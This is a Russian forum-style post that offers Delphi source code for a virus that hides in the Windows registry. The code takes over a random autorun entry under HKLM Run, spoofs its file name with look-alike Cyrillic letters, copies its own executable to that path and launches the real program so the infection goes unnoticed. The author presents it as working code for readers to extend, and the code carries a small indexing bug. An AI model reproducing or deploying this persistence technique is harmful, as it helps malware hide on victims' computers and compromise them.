Играем в прятки или русский диверсант

Давненько я не писал вот решил поделиться еще одной идейкой
мне как-то приснилось что было бы п@нтово написать вирус с исскуственным интеллектом (и приснится же такое ... а где же вчерашние сексопильные девчонки в коже???) или хотя бы на подобие этого, смысл сделать его немного умней, но проснувшись,
протрезвев ото сна,я понял что для начала надо просто написать ИИ что для меня
возможным не представляется...ну так вот ближе к делу сейчас я покажу
и расскажу как сделать его все-таки немного умнее и без создания ИИ!!!

а умнее он будет .... прятаться в реестре:
смысл таков ищем в авторане реестра все проги и наугад заменяем собой
одну из них... вроде все баналь но но нет еще не все замена будет происходить
только в реестре а сам фаил мы трогать не будем как сделать такое - щас покажу

принцип действия сравним с вирусом спутником но только на уровне реестра

procedure TForm1.Button1Click(Sender: TObject);
var
i,k,n:integer;
ts:Tstringlist;
reg:Tregistry;
line,old:string;
const
x:array [0..14] of char =('a','c','o','e','p','x','A','C','O','E','P','H','K','T','X');
x2:array [0..14] of char =('а','с','о','е','р','х','А','С','О','Е','Р','Н','К','Т','Х');
begin
reg:=Tregistry.Create; // инициализация реестра
reg.RootKey := HKEY_LOCAL_MACHINE;// ветка реестра
reg.LazyWrite := false; //а ху* его знает сейчас не вспомню
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false); // открываем ключ
ts := TStringList.Create; //создадим список для заполнения значениями
reg.GetValueNames(ts);//запихиваем все из ключа в список

//теперь выбераем рандомом какой будем заменять
k:=random(ts.Count+1);// +1 тк random(2) дает только 0 и 1 я думаю понятно
showmessage(reg.ReadString(ts[k]));
old:=reg.ReadString(ts[k]);
line:=reg.ReadString(ts[k]);
//теперь самое интересное
for i:=length(line) downto length(line)-length(extractfilename(line)) do //заменяем в названии фаила
begin
for n:=0 to 14 do
if line[i]=x[n]
then line[i]:=x2[n];
//showmessage(line[i]);
//русский эквивалент !!! да америкосы не далеко ушли от нас или мы от них...
//x x2 - англ - русский аналог
//те 'с' это це а 'с' это эс итд
//я думаю 15 хватит если надо более сами допишите


end;
memo1.Lines.Add(line);
showmessage(line);
//дальше у нас теперь есть строка ts[k] c новым названием но
//визуально не отличным от оригинала - то что надо
//line:=ts[k];//запишем
reg.GetValueNames(ts);//добываем имя ключа мы работали со значением
reg.WriteString(ts[k],line); //запишим старое имя но новое значение- наше
reg.CloseKey;//сматываем удочки
//но рыбалка еще не закончена...
//копируем свой фаил поближе к жертве и с именем которое в реестре сидит...
copyfile(pchar(application.exename),pchar(line),true);
try
winexec(Pchar(old),0);//запускаем настоящий фаил
except
showmessage('ПЕРВЫЙ ПУСК!!! или эррор');
end;

end.

конечно многое я не учел но что мешает вам самим это дописать ну например в реестре иногда записи с " по обоим бокам - это может вызвать ошибку или повтор этой функции при запуске заделает весь реестр нашей прогой это тоже не очень гуд но здесь главное идея и рабочий код а остальное дело ваших прямых рук...

 

 
Хостинг от uCoz